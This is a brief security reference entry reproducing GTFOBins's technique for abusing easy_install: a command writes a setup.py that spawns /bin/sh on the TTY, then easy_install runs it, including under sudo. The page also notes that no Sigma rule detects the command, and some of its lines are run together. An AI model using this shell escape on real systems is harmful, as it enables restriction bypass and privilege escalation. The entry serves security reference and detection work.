Identifier / Programs / Linux and Unix
easy_install
GTFOBins inherit 1 documented command
How easy_install is abused
inherit
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for easy_install.
1 documented command
inherit unprivileged, with sudo
This allows to run Python code (...). It executes a Python script named setup.py in the directory passed as argument (.).
Keep in mind that the TTY is lost, so /dev/tty can be used, for example:
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.pyecho '...' >setup.py
easy_install .IdentifyThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for easy_install. The identifier reads the line that runs easy_install.